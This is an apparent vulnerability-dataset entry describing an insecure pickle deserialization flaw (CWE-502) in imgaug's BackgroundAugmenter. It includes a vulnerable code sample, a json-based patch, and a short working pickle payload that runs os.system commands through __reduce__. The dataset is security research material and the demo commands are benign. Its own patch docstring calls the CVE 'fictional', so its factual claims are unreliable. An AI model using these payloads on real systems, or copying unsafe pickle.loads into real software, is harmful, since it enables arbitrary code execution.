CVE-2026-31235
Insecure deserialization in imgaug's BackgroundAugmenter allows code execution.
- CVSS 9.8
- CWE-502
- Input Validation and Sanitization
- Remote
The imgaug library thru 0.4.0 contains an insecure deserialization vulnerability in its BackgroundAugmenter class within the multicore.py module. The class uses Python's pickle module to deserialize data received via a multiprocessing queue in the _augment_images_worker() method without any safety checks. An attacker who can influence the data placed into this queue (e.g., through social engineering, malicious input scripts, or a compromised shared queue) can provide a malicious pickle payload. When deserialized, this payload can execute arbitrary code in the context of the worker process, leading to remote or local code execution depending on the deployment scenario.
- CWE
- CWE-502
- CVSS base score
- 9.8
- Published
- 2026-05-12
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Serialization Issues
- Category
- Input Validation and Sanitization
- Subcategory
- Insecure Parsing or Deserialization
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- imgaug
- Fixed by upgrading
- Yes
Solution
The `imgaug` library is archived and no patch is available. Users should migrate to a maintained alternative library.
Vulnerable code sample
import pickle
import os
import multiprocessing
# This class creates a malicious object that executes a command when deserialized.
class RemoteCodeExecutor:
def __reduce__(self):
# For this demonstration, we use a safe 'echo' command.
# An attacker would use a more malicious command.
cmd = 'echo "VULNERABLE: Arbitrary code executed by the worker process."'
return (os.system, (cmd,))
# This function simulates the vulnerable worker method in imgaug's multicore.py.
# It gets data from a queue and deserializes it without any validation.
def vulnerable_worker(data_queue):
# The worker receives pickled data from the queue.
pickled_data = data_queue.get()
# The vulnerability: pickle.loads() is called on the untrusted data,
# leading to code execution via the __reduce__ method of the malicious object.
pickle.loads(pickled_data)
if __name__ == '__main__':
# A multiprocessing queue is created. In a real scenario, an attacker
# would need a way to inject data into this queue.
q = multiprocessing.Queue()
# 1. The attacker creates a malicious payload.
malicious_payload = pickle.dumps(RemoteCodeExecutor())
# 2. The attacker places the malicious payload onto the queue.
q.put(malicious_payload)
# 3. The application starts the vulnerable worker process, which
# will consume the malicious data from the queue.
worker_process = multiprocessing.Process(target=vulnerable_worker, args=(q,))
worker_process.start()
worker_process.join()Patched code sample
import json
class BackgroundAugmenter:
"""
A simplified representation of the class from the fictional CVE-2026-31235.
This example demonstrates the fix.
"""
def _augment_images_worker(self, data_queue, result_queue):
"""
The fixed worker method from the multicore.py module.
"""
while True:
received_data = data_queue.get()
if received_data is None:
# Sentinel value to stop the worker.
break
# THE FIX:
# The vulnerable version would use `pickle.loads(received_data)`,
# which can execute arbitrary code.
# The fixed version replaces it with a safe deserialization
# method, such as `json.loads()`. JSON is a data-only format
# and cannot be used for code execution, mitigating the vulnerability.
try:
data = json.loads(received_data)
# ... code would now safely process the 'data' dictionary ...
# Example of sending a result back.
result_queue.put({"status": "success", "processed_data": data.get("id")})
except (json.JSONDecodeError, TypeError):
# If an attacker provides malformed (non-JSON) data,
# it is caught and handled safely without being executed.
result_queue.put({"status": "error", "message": "Invalid data format."})Payload
import pickle
import os
class Exploit:
def __reduce__(self):
command = "touch /tmp/pwned"
return (os.system, (command,))
payload = pickle.dumps(Exploit())
Cite this entry
@misc{vaitp:cve202631235,
title = {{Insecure deserialization in imgaug's BackgroundAugmenter allows code execution.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-31235},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31235/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
